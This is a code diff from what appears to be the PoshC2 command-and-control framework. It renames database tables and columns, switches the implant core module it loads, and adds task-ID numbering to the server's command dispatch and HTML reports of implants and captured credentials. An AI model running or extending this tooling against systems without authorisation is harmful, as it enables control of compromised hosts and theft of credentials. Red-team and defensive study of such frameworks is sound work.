comtasks = get_completedtasks()
comtasks = get_tasks()
hosts = ""
uploads = ""
urls = ""
@ -729,9 +729,9 @@ def runcommand(command, randomuri):
else:
try:
check_module_loaded("Implant-Core.ps1", randomuri)
check_module_loaded("Core.ps1", randomuri)
except Exception as e:
print ("Error loading Implant-Core.ps1: %s" % e)
print ("Error loading Core.ps1: %s" % e)
run_autoloads(command, randomuri)

File diff suppressed because one or more lines are too long

View File

@ -204,7 +204,7 @@ function SearchTask() {
function tweakMarkup(){
// Add classes to columns
var classes = ['id', 'Label', taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
var classes = ['id', 'Label', taskid', 'randomuri', 'command', 'output', 'user','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
tbl = document.getElementById("PoshTable");
ths = tbl.getElementsByTagName("th");
for( i=0; i<ths.length; i++ ){
@ -223,7 +223,7 @@ function tweakMarkup(){
for( j=0; j<tds.length; j++ ){
td = tds[j];
td.className = classes[j]
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|Label/) ){
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|taskid|randomuri|command|output|user|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|Label/) ){
td.className += ' hidden';
td.innerHTML = '<div>' + td.innerHTML + '</div>';
td.onclick = toggleHide
@ -327,7 +327,7 @@ table {
table tr th.randomuri {
width: 15%;
}
table tr th.prompt {
table tr th.user {
width: 10%;
}
@ -349,7 +349,7 @@ __________ .__. _________ ________
</pre>
"""
if table == "CompletedTasks":
if table == "Tasks":
HTMLPre += """<input type="text" id="SearchTask" onkeyup="SearchTask()" placeholder="Search for task..">
<input type="text" id="CommandInput" onkeyup="SearchCommand()" placeholder="Search for command..">
<input type="text" id="OutputInput" onkeyup="SearchOutput()" placeholder="Search for output..">
@ -366,13 +366,13 @@ __________ .__. _________ ________
frame = pd.read_sql_query("SELECT * FROM %s" % table, conn)
# encode the Output column
if table == "CompletedTasks":
if table == "Tasks":
for index, row in frame.iterrows():
frame.loc[index, "Command"] = replace_tabs(cgi.escape(row["Command"]))
frame.loc[index, "Output"] = replace_tabs(cgi.escape(row["Output"]))
# convert the random uri to original hostname
if table == "CompletedTasks":
if table == "Tasks":
framelen = frame['RandomURI'].count()
for x in range(0, framelen):
try:
@ -398,7 +398,7 @@ __________ .__. _________ ________
HTMLPost = HTMLPost.replace("<th>RandomURI</th>","<th class=\"RandomURI\">RandomURI</th>")
HTMLPost = HTMLPost.replace("<th>Command</th>","<th class=\"Command\">Command</th>")
HTMLPost = HTMLPost.replace("<th>Output</th>","<th class=\"Output\">Output</th>")
HTMLPost = HTMLPost.replace("<th>Prompt</th>","<th class=\"Prompt\">Prompt</th>")
HTMLPost = HTMLPost.replace("<th>User</th>","<th class=\"User\">User</th>")
HTMLPost = HTMLPost.replace("<th>ImplantID</th>","<th class=\"ImplantID\">ImplantID</th>")
HTMLPost = HTMLPost.replace("<th>User</th>","<th class=\"User\">User</th>")
HTMLPost = HTMLPost.replace("<th>Hostname</th>","<th class=\"Hostname\">Hostname</th>")
@ -422,7 +422,7 @@ tweakMarkup();
output_file.close()
print reportname
generate_table("CompletedTasks")
generate_table("Tasks")
generate_table("C2Server")
generate_table("Creds")
generate_table("Implants")

View File

@ -15,6 +15,7 @@ def newTask(path):
if RandomURI in path and tasks:
for a in tasks:
command = a[2]
user_command = command
hostinfo = DB.get_hostinfo(RandomURI)
now = datetime.datetime.now()
print Colours.YELLOW,""
@ -47,11 +48,17 @@ def newTask(path):
except Exception as e:
print "Cannot find module, loadmodule is case sensitive!"
print e
taskId = DB.insert_task(RandomURI, user_command, None)
if len(str(taskId)) > 5:
raise ValueError('Task ID is greater than 5 characters which is not supported.')
taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
command = taskIdStr + command
if commands:
commands += "!d-3dion@LD!-d" + command
else:
commands += command
DB.del_newtasks(str(a[0]))
if commands is not None:
multicmd = "multicmd%s" % commands